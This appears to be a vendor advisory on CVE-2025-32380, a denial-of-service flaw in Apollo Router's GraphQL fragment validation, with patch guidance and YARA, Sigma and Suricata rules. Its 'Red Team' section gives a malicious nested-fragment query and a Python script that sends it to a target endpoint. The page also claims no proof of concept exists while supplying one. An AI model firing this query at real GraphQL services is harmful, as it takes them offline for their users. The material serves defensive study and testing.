CVE-2025-32380
Executive Summary
CVE-2025-32380 is a high-severity denial-of-service (DoS) vulnerability in the Apollo Router Core, a high-performance graph router written in Rust for federated supergraphs using Apollo Federation 2. The flaw resides in the router's usage of Apollo Compiler, where queries with deeply nested and reused named fragments become prohibitively expensive to validate. This leads to excessive CPU and memory consumption, potentially causing service unavailability. The vulnerability has been remediated in apollo-router versions 1.61.2 and 2.1.1 by optimizing fragment validation to process each named fragment only once. No public proof-of-concept (PoC) or exploit code is available at this time.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the Apollo Router, which is distributed as a Rust crate (apollo-router) and as a Docker image. Organizations using Apollo Router in their GraphQL federation infrastructure should verify their deployment version and update immediately. The fix involves a dependency update to Apollo Compiler, ensuring that validation logic is not exponentially expensive for deeply nested fragments.
CVSS Breakdown & Threat Level
- CVSS Score: 7.5 (High)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: None (UI:N)
- Scope: Unchanged (S:U)
- Confidentiality Impact: None (C:N)
- Integrity Impact: None (I:N)
- Availability Impact: High (A:H)
- Vector String:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
The threat level is High due to the low complexity of exploitation and the potential for complete denial of service. An unauthenticated attacker can send a specially crafted GraphQL query to exhaust server resources.
Deep Dive & Mechanics
The vulnerability is rooted in the GraphQL validation phase of the Apollo Router. When a query contains deeply nested and reused named fragments, the Apollo Compiler's validation logic traverses the same fragment multiple times, leading to exponential time complexity. This is a classic case of CWE-770: Allocation of Resources Without Limits or Throttling.
In a federated supergraph, queries can span multiple subgraphs, and fragments are used to reuse selection sets. An attacker can craft a query with a deeply nested structure where the same fragment is referenced many times. The validation logic, instead of caching the result of validating a fragment, re-validates it each time it is encountered, causing a combinatorial explosion in processing time.
For example, a query like:
query {
a { ...F }
b { ...F }
c { ...F }
# ... repeated many times
}
fragment F on Type {
field1
field2
# ... deeply nested sub-fragments
}
If F itself contains nested fragments that are also reused, the validation cost grows exponentially with the nesting depth and reuse count.
The fix updates the Apollo Compiler to process each named fragment only once, caching the validation result and reusing it for all references. This reduces the time complexity from exponential to linear.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual):
// In the validation logic, each time a fragment is referenced, it is re-validated.
fn validate_fragment(fragment: &Fragment, context: &mut ValidationContext) -> Result<(), ValidationError> {
// ... validate fields and sub-fragments recursively
for selection in &fragment.selections {
match selection {
Selection::Field(field) => { /* validate field */ },
Selection::FragmentSpread(spread) => {
// Recursively validate the referenced fragment again
validate_fragment(spread.fragment, context)?;
},
}
}
Ok(())
}
Patched Code (Conceptual):
// The validation logic now caches results for each fragment.
fn validate_fragment(fragment: &Fragment, context: &mut ValidationContext) -> Result<(), ValidationError> {
if context.validated_fragments.contains(fragment.id) {
return Ok(()); // Already validated, skip
}
context.validated_fragments.insert(fragment.id);
// ... validate fields and sub-fragments recursively
for selection in &fragment.selections {
match selection {
Selection::Field(field) => { /* validate field */ },
Selection::FragmentSpread(spread) => {
// Recursively validate the referenced fragment (will be cached)
validate_fragment(spread.fragment, context)?;
},
}
}
Ok(())
}
The actual patch is in the Apollo Compiler crate, which is a dependency of the Apollo Router. The router versions 1.61.2 and 2.1.1 include the updated compiler.
Exploitation & Lab Setup
Red Team
Objective: Cause a denial of service on an Apollo Router instance.
Prerequisites:
- Access to an Apollo Router endpoint (e.g.,
http://target:4000/graphql). - Knowledge of the GraphQL schema (can be obtained via introspection if enabled).
Exploit Steps:
- Craft a malicious query with deeply nested and reused named fragments. The goal is to maximize the number of fragment references.
- Send the query to the Apollo Router endpoint.
- Monitor the server's CPU and memory usage. If successful, the server will become unresponsive or crash.
Example Malicious Query:
query MaliciousQuery {
a { ...F1 }
b { ...F1 }
c { ...F1 }
d { ...F1 }
e { ...F1 }
f { ...F1 }
g { ...F1 }
h { ...F1 }
i { ...F1 }
j { ...F1 }
}
fragment F1 on Query {
field1 { ...F2 }
field2 { ...F2 }
field3 { ...F2 }
field4 { ...F2 }
field5 { ...F2 }
}
fragment F2 on Type {
subfield1 { ...F3 }
subfield2 { ...F3 }
subfield3 { ...F3 }
subfield4 { ...F3 }
subfield5 { ...F3 }
}
fragment F3 on SubType {
deepfield1
deepfield2
deepfield3
deepfield4
deepfield5
}
Note: The actual schema fields must be valid for the target. Use introspection to discover real field names.
Automation Script (Python):
import requests
import json
target_url = "http://target:4000/graphql"
# Generate a deeply nested fragment structure
def generate_malicious_query(depth=5, breadth=5):
fragments = {}
for i in range(depth, 0, -1):
frag_name = f"F{i}"
if i == depth:
# Leaf fragment
fields = "\n".join([f" leaf{i}_{j}" for j in range(breadth)])
else:
# Fragment referencing the next level
fields = "\n".join([f" field{j} {{ ...F{i+1} }}" for j in range(breadth)])
fragments[frag_name] = f"fragment {frag_name} on {'Query' if i == 1 else 'Type'} {{\n{fields}\n}}"
# Top-level query with many references to F1
top_fields = "\n".join([f" a{j} {{ ...F1 }}" for j in range(breadth)])
query = f"query MaliciousQuery {{\n{top_fields}\n}}\n\n" + "\n\n".join(fragments.values())
return query
query = generate_malicious_query(depth=5, breadth=5)
response = requests.post(target_url, json={"query": query})
print(response.status_code, response.text)
Blue Team
Detection:
- Monitor for GraphQL queries with an unusually high number of fragment references or nesting depth.
- Use the Sigma and Suricata rules provided in the Detection Engineering section.
- Set up rate limiting on the GraphQL endpoint to prevent abuse.
Mitigation:
- Immediately update to apollo-router version 1.61.2 or 2.1.1.
- If immediate patching is not possible, implement a Web Application Firewall (WAF) rule to block queries with excessive fragment reuse.
- Use GraphQL query cost analysis to reject expensive queries before validation.
Lab Setup:
- Deploy a vulnerable Apollo Router (version < 1.61.2 or < 2.1.1) in a Docker container.
- Configure it with a simple federated supergraph.
- Use the Red Team script to test the vulnerability.
- Monitor resource usage with
docker statsorhtop.
Indicators of Compromise (IOCs)
- Network: GraphQL queries with a high number of named fragment spreads (e.g., > 100 unique fragment references in a single query).
- System: High CPU and memory usage on the Apollo Router process, potentially leading to OOM kills.
- Logs: Apollo Router logs may show slow query validation times or timeouts.
- File: No file-based IOCs.
Detection Engineering
YARA Rule
rule CVE_2025_32380_Apollo_Router_DoS {
meta:
description = "Detects GraphQL queries with excessive fragment reuse indicative of CVE-2025-32380"
author = "Valters IT"
date = "2025-04-01"
reference = "CVE-2025-32380"
strings:
$fragment_spread = /\.\.\.\w+/ nocase
$query_keyword = "query" nocase
condition:
#fragment_spread > 50 and $query_keyword
}
Sigma Rule
title: Apollo Router DoS via Fragment Reuse
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects GraphQL queries with excessive fragment reuse targeting Apollo Router (CVE-2025-32380)
author: Valters IT
date: 2025-04-01
logsource:
category: application
product: apollo_router
detection:
selection:
query|contains: "fragment"
query|re: '\.\.\.\w+'
condition: selection and count(query) > 50
falsepositives:
- Legitimate complex queries with many fragments
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-32380 Apollo Router DoS via Fragment Reuse"; flow:to_server; content:"POST"; http_method; content:"/graphql"; http_uri; content:"fragment"; http_client_body; pcre:"/(\.\.\.\w+){50,}/Ri"; classtype:attempted-dos; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Patch: Upgrade Apollo Router to version 1.61.2 or 2.1.1 (or later). This is the only complete fix.
- Rate Limiting: Implement rate limiting on the GraphQL endpoint to limit the number of requests per IP.
- Query Cost Analysis: Use Apollo's built-in query cost analysis or a third-party solution to reject queries that exceed a complexity threshold.
Long-Term Measures:
- Input Validation: Validate the depth and breadth of incoming GraphQL queries.
- Monitoring: Set up alerts for high CPU/memory usage on the Apollo Router.
- WAF Rules: Deploy WAF rules to block queries with excessive fragment reuse.
Workarounds (if patching is delayed):
- Disable GraphQL introspection in production to reduce attack surface.
- Use a reverse proxy (e.g., Nginx) to limit request body size and rate.
Valters IT
DevSecOps & Cyber Threat Intelligence